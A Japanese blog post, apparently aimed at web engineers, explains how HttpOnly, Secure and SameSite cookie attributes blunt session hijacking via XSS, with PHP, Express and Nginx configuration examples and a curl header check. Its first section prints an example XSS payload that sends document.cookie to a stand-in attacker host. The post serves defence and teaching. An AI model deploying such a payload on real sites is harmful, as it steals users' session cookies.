なぜ、あなたの「HttpOnly」設定は、ザルなのか? ― セッションハイジャックを根絶する防衛術
現場のエンジニア諸君。コードレビューをしていると、今でも「XSSさえ防げればCookieなんてなんとかなる」という甘い考えに遭遇する。断言しよう。XSSを完全にゼロにすることは不可能だ。 どんなに熟練したチームでも、サードパーティライブラリの脆弱性や、フロントエンドの複雑なDOM操作一つで穴は空く。
だからこそ、我々は「破られた後の多層防御」を設計しなければならない。その最前線が、CookieのHttpOnly属性だ。今日は、なぜこれがセッションハイジャックの特効薬になるのか、そして現場で確実に実装するための「泥臭い実務」を解説する。
—
1. 攻撃者は「宝の地図」をどう盗むのか?
XSS(クロスサイトスクリプティング)の目的は多岐にわたるが、最も効率的で破壊力があるのは「セッションCookieの奪取」だ。
攻撃者のPoC(概念実証)は驚くほどシンプルだ。脆弱性のあるページに、次のようなスクリプトを仕込むだけでいい。
// 攻撃者が仕込む悪意あるスクリプト
// ユーザーのブラウザ上で実行され、Cookieを外部サーバーへ送信する
fetch(‘https://attacker-site.com/log?cookie=’ + document.cookie);
もし、あなたのサイトのセッションCookieにHttpOnly属性が付いていなければ、document.cookieにはセッションIDが平文で格納されている。攻撃者はこれだけで、ユーザーになりすまして管理画面にログインできる。これがいわゆる「セッションハイジャック」の基本手口だ。
—
2. HttpOnly属性:最強の「隠蔽」技術
HttpOnly属性が付与されたCookieは、ブラウザの仕様によりJavaScriptからのアクセスが物理的に遮断される。つまり、上記のようなスクリプトを走らせても、document.cookieにはそのセッションIDは決して現れない。
脆弱なアプリにXSSの穴があっても、攻撃者は「セッションID」という最大の宝物を持ち出せない。これが、防御の要諦だ。
【実務コード】堅牢なセッション設定
PHPであれば、session_start()の前に設定を強制する。Python(Django)やNode.js(Express)でも、デフォルト設定を疑い、明示的に設定することが重要だ。
PHPでの実装例
0, // ブラウザ終了まで
‘path’ => ‘/’, // サイト全体
‘domain’ => ‘example.com’, // ドメインを固定
‘secure’ => true, // HTTPS通信のみ許可 (重要!)
‘httponly’ => true, // JavaScriptからのアクセスを禁止
‘samesite’ => ‘Lax’ // CSRF対策としてLaxまたはStrictを指定
]);
session_start();
Node.js (Express/express-session) の設定
app.use(session({
secret: ‘your-secret-key’,
cookie: {
httpOnly: true, // これが重要
secure: true, // HTTPS必須
sameSite: ‘lax’
}
}));
—
3. Webサーバー・インフラ側での「二重の蓋」
コード側の修正が漏れていることを想定し、Webサーバー(Nginx等)で強制的にヘッダーを付与する手法も併用すべきだ。いわゆる「設定による防御」だ。
NginxでCookieに属性を強制追加する
locationブロックやserverブロック内で設定
Set-Cookieヘッダーにhttponlyとsecureを強制する
proxy_cookie_path / “/; HTTPOnly; Secure; SameSite=Lax”;
※注意: アプリ側で既に設定されている場合、二重付与によるエラーを防ぐため、検証環境での十分なテストが必要だ。
—
4. 現場の盲点:本当に「守れているか」の確認方法
設定したつもりでも、実は「Secure属性が抜けていた」「サブドメインからCookieを盗まれた」という事例は後を絶たない。実装後は、必ずブラウザの開発者ツールで確認してほしい。
1. Chromeの開発者ツール(F12)を開く。
2. Application タブを選択。
3. Cookies を開き、自身のサイトを選択。
4. HttpOnly 列にチェックが入っているか、Secure 列にチェックが入っているかを目視で確認する。
プロの視点:
もしあなたがセキュリティ担当なら、curl コマンドでヘッダーを叩き、レスポンス内の Set-Cookie を grep して自動テストに組み込むことを勧める。手動チェックは、必ずどこかでヒューマンエラーが起きるからだ。
ヘッダーを確認するコマンド
curl -I -L https://your-site.com | grep Set-Cookie
—
最後に:完璧な防御は存在しないが、完璧な「備え」は存在する
XSSを防ぐ努力を怠っていいと言っているわけではない。エスケープ処理やContent Security Policy (CSP) の導入は必須だ。しかし、万が一のときに被害を「ログイン情報の流出」まで拡大させるか、単なる「表示崩れ」で食い止めるか。その境界線が、このHttpOnly属性にある。
セキュリティは、美しいコードを書くことではなく、「攻撃者が最短距離で狙うルートを、地味に、確実に塞ぎ続けること」だ。
今日から、すべてのCookieを見直せ。それが、君のサービスを使うユーザーを守る、最も簡単で確実な一歩だ。
コメント